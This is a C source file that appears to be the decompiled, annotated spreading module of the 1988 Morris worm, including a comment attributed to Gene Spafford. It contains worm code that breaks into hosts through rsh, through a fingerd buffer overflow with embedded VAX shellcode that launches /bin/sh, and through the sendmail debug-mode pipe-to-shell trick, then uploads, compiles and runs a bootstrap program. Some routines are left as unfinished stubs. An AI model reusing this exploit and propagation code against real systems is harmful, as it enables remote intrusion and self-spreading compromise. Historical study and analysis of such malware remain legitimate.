📄 hs.c
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strcat(strbuf, XS("\n")); send_text(l8, strbuf); if (test_connection(l8, l8, 10) == 0) { close(l8); close(arg4); host->flag |= 2; return 1; /* 1172 */ } send_text(l8, XS("rm -f $P\n")); } for (i = 0; i < nobjects; i++) { /* 1044,1122 */ sprintf(strbuf, XS("rm -f %s $P\n"), files[i]); send_text(l8, strbuf); } test_connection(l8, l8, 5); quit: close(l8); close(l24); return 0;}/* Only called from within mail */static compile_slave(host, s, arg16, arg20, arg24) /* x431e, <waithit+1176> */ struct hst host;{ object *obj; char buf[512]; /* 516 */ char cfile[56]; /* 568 */ int wr_len, key; /* might be same */ obj = getobjectbyname(XS("l1.c")); if (obj == NULL) return 0; /* 1590 */ send_text(s, XS("cd /usr/tmp\n")); key = (random() % 0x00ffffff); sprintf(cfile, XS("x%d.c"), key); sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile); send_text(s, buf); xorbuf(obj->buf, obj->size); wr_len = write(s, obj->buf, obj->size); xorbuf(obj->buf, obj->size); if (wr_len != obj->size) return 0; send_text(s, XS("EOF\n")); sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"), key, key, key, inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz)); return send_text(s, buf);}static send_text(fd, str) /* 0x44c0, <waithit+1594> */ char *str;{ write(fd, str, strlen(str));}/* Used in try_rsh_and_mail(). */static fork_rsh(host, fdp1, fdp2, str) /* 0x44f4, <waithit+1646> */ char *host; int *fdp1, *fdp2; char *str;{ int child; /* 4 */ int fildes[2]; /* 12 */ int fildes1[2]; /* 20 */ int fd; if (pipe(fildes) < 0) return 0; if (pipe(fildes1) < 0) { close(fildes[0]); close(fildes[1]); return 0; } child = fork(); if (child < 0) { /* 1798 */ close(fildes[0]); close(fildes[1]); close(fildes1[0]); close(fildes1[1]); return 0; } if (child == 0) { /* 2118 */ for (fd = 0; fd < 32; fd++) if (fd != fildes[0] && fd != fildes1[1] && fd != 2) close(fd); dup2(fildes[0], 0); dup2(fildes[1], 1); if (fildes[0] > 2) close(fildes[0]); if (fildes1[1] > 2) close(fildes1[1]); /* 'execl()' does not return if it suceeds. */ execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0); execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0); execl(XS("/bin/rsh"), XS("rsh"), host, str, 0); exit(1); } close(fildes[0]); close(fildes1[1]); *fdp1 = fildes1[0]; *fdp2 = fildes[1]; if (test_connection(*fdp1, *fdp2, 30)) return 1; /* Sucess!!! */ close(*fdp1); close(*fdp2); kill(child, 9); /* Give the child a chance to die from the signal. */ sleep(1); wait3(0, WNOHANG, 0); return 0;}static test_connection(rdfd, wrfd, time) /* x476c,<waithit+2278> */ int rdfd, wrfd, time;{ char combuf[100], numbuf[100]; sprintf(numbuf, XS("%d"), random() & 0x00ffffff); sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf); send_text(wrfd, combuf); return wait_for(rdfd, numbuf, time);}static wait_for(fd, str, time) /* <waithit+2412> */ int fd, time; char *str;{ char buf[512]; int i, length; length = strlen(str); while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */ for(i = 0; buf[i]; i++) { if (strncmp(str, &buf[i], length) == 0) return 1; } } return 0;}/* Installed as a signal handler */justreturn(sig, code, scp) /* 0x4872 */ int sig, code; struct sigcontext *scp;{ alarmed = 1;}static x488e(fd, buf, num_chars, maxtime) int fd, num_chars, maxtime; char *buf;{ int i, l8, readfds; struct timeval timeout; for (i = 0; i < num_chars; i++) { /* 46,192 */ readfds = 1 << fd; timeout.tv_usec = maxtime; timeout.tv_sec = 0; if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0) return 0; if (readfds == 0) return 0; if (read(fd, &buf[i], 1) != 1) return 0; if (buf[i] == '\n') break; } buf[i] = '\0'; if (i > 0 && l8 > 0) return 1; return 0;}/* This doesn't appear to be used anywhere??? */static char *movstr(arg0, arg1) /* 0x4958,<just_return+230> */ char *arg0, *arg1;{ arg1[0] = '\0'; if (arg0 == 0) return 0; while( ! isspace(*arg0)) arg0++; if (*arg0 == '\0') return 0; while(*arg0) { if (isspace(*arg0)) break; *arg1++ = *arg0++; } *arg1 = '\0'; return arg0;}/* From Gene Spafford <spaf@perdue.edu>What this routine does is actually kind of clever. Keep inmind that on a Vax the stack grows downwards.fingerd gets its input via a call to gets, with an argumentof an automatic variable on the stack. Since gets doesn'thave a bound on its input, it is possible to overflow thebuffer without an error message. Normally, when that happensyou trash the return stack frame. However, if you knowwhere everything is on the stack (as is the case with adistributed binary like BSD), you can put selected valuesback in the return stack frame.This is what that routine does. It overwrites the return frameto point into the buffer that just got trashed. The new codedoes a chmk (change-mode-to-kernel) with the service call forexecl and an argument of "/bin/sh". Thus, fingerd gets aservice request, forks a child process, tries to get a user nameand has its buffer trashed, does a return, exec's a shell,and then proceeds to take input off the socket -- from theworm on the other machine. Since many sites never bother tofix fingerd to run as something other than root.....Luckily, the code doesn't work on Suns -- it just causes itto dump core.--spaf*/ /* This routine exploits a fixed 512 byte input buffer in a VAX running * the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to * overwrite six extra words in the stack frame, including the return * PC, to point into the middle of the string sent over. The instructions * in the string do the direct system call version of execve("/bin/sh"). */static try_finger(host, fd1, fd2) /* 0x49ec,<just_return+378 */ struct hst *host; int *fd1, *fd2;{ int i, j, l12, l16, s; struct sockaddr_in sin; /* 36 */ char unused[492]; int l552, l556, l560, l564, l568; char buf[536]; /* 1084 */ int (*save_sighand)(); /* 1088 */ save_sighand = signal(SIGALRM, justreturn); for (i = 0; i < 6; i++) { /* 416,608 */ if (host->o48[i] == 0) continue; /* 600 */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) continue; bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = host->o48[i]; sin.sin_port = IPPORT_FINGER; alarm(10); if (connect(s, &sin, sizeof(sin)) < 0) { alarm(0); close(s); continue; } alarm(0); break; } if (i >= 6) return 0; /* 978 */ for(i = 0; i < 536; i++) /* 628,654 */ buf[i] = '\0'; for(i = 0; i < 400; i++) buf[i] = 1; for(j = 0; j < 28; j++) buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j]; /* constant string x200a0 */ /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */ /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */ l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */ l560 = 0x7fffe8a8; l564 = 0x7fffe8bc; l568 = 0x28000000; l552 = 0x0001c020;#ifdef sun l556 = byte_swap(l556); /* Reverse the word order for the */ l560 = byte_swap(l560); /* VAX (only Suns have to do this) */ l564 = byte_swap(l564); l568 = byte_swap(l568); l552 = byte_swap(l552);#endif sun write(s, buf, sizeof(buf)); /* sizeof == 536 */ write(s, XS("\n"), 1); sleep(5); if (test_connection(s, s, 10)) { *fd1 = s; *fd2 = s; return 1; } close(s); return 0;}static byte_swap(arg) /* 0x4c48,<just_return+982 */ int arg;{ int i, j; i = 0; j = 0; while (j < 4) { i = i << 8; i |= (arg & 0xff); arg = arg >> 8; j++; } return i;}permute(ptr, num, size) /* 0x4c9a */ char *ptr; int num, size;{ int i, newloc; char buf[512]; for (i = 0; i < num*size; i+=size) { /* 18,158 */ newloc = size * (random() % num); bcopy(ptr+i, buf, size); bcopy(ptr+newloc, ptr+i, size); bcopy(buf, ptr+newloc, size); }}/* Called from try_rsh_and_mail() */static try_mail(host) /* x4d3c <permute+162>*/ struct hst *host;{ int i, l8, l12, l16, s; struct sockaddr_in sin; /* 16 bytes */ char l548[512]; int (*old_handler)(); struct sockaddr saddr; /* Not right */ int fd_tmp; /* ??? part of saddr */ if (makemagic(host, &saddr) == 0) return 0; /* <permute+1054> */ old_handler = signal(SIGALRM, justreturn); for( i = 0; i < 6; i++) { /* to 430 */ if (host->o48[i] == NULL) continue; /* to 422 */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) continue; /* to 422 */ bzero(&sin, sizeof(sin)); /* 16 */ sin.sin_family = AF_INET; sin.sin_addr.s_addr = host->o48[i]; sin.sin_port = IPPORT_SMTP; alarm(10); if (connect(s, &sin, sizeof(sin)) < 0) { alarm(0); close(s); continue; /* to 422 */ } alarm(0); break; } if (i < 6) return 0; /* 1054 */ if (x50bc( s, l548) != 0 || l548[0] != '2') goto bad; send_text(s, XS("debug")); /* "debug" */ if (x50bc( s, l548) != 0 || l548[0] != '2') goto bad; #define MAIL_FROM "mail from:</dev/null>\n"#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n" send_text(s, XS(MAIL_FROM)); if (x50bc( s, l548) != 0 || l548[0] != '2') goto bad; i = (random() & 0x00FFFFFF); sprintf(l548, XS(MAIL_RCPT), i, i); send_text(s, l548); if (x50bc( s, l548) != 0 || l548[0] != '2') goto bad; send_text(s, XS("data\n")); if (x50bc( s, l548) == 0 || l548[0] != '3') goto bad; send_text(s, XS("data\n")); compile_slave(host, s, saddr); send_text(s, XS("\n.\n")); if (x50bc( s, l548) == 0 || l548[0] != '2') { close(fd_tmp); /* This isn't set yet!!! */ goto bad; } send_text(s, XS("quit\n")); if (x50bc( s, l548) == 0 || l548[0] != '2') { close(fd_tmp); /* This isn't set yet!!! */ goto bad; } close(s); return waithit(host, saddr); bad: send_text(s, XS("quit\n")); x50bc(s, l548); close(s); return 0;}/* Used only in try_mail() above. This fills buffer with a line of the response */static x50bc(s, buffer) /* x50bc, <permute+1058> */ int s; /* socket */ char *buffer;{ /* Fill in exact code later. It's pretty boring. */}/* I call this "huristic 1". It tries to breakin using the remote execution * service. It is called from a subroutine of cracksome_1 with information from * a user's .forword file. The two name are the original username and the one * in the .forward file. */hu1(alt_username, host, username2) /* x5178 */ char *alt_username, *username2;
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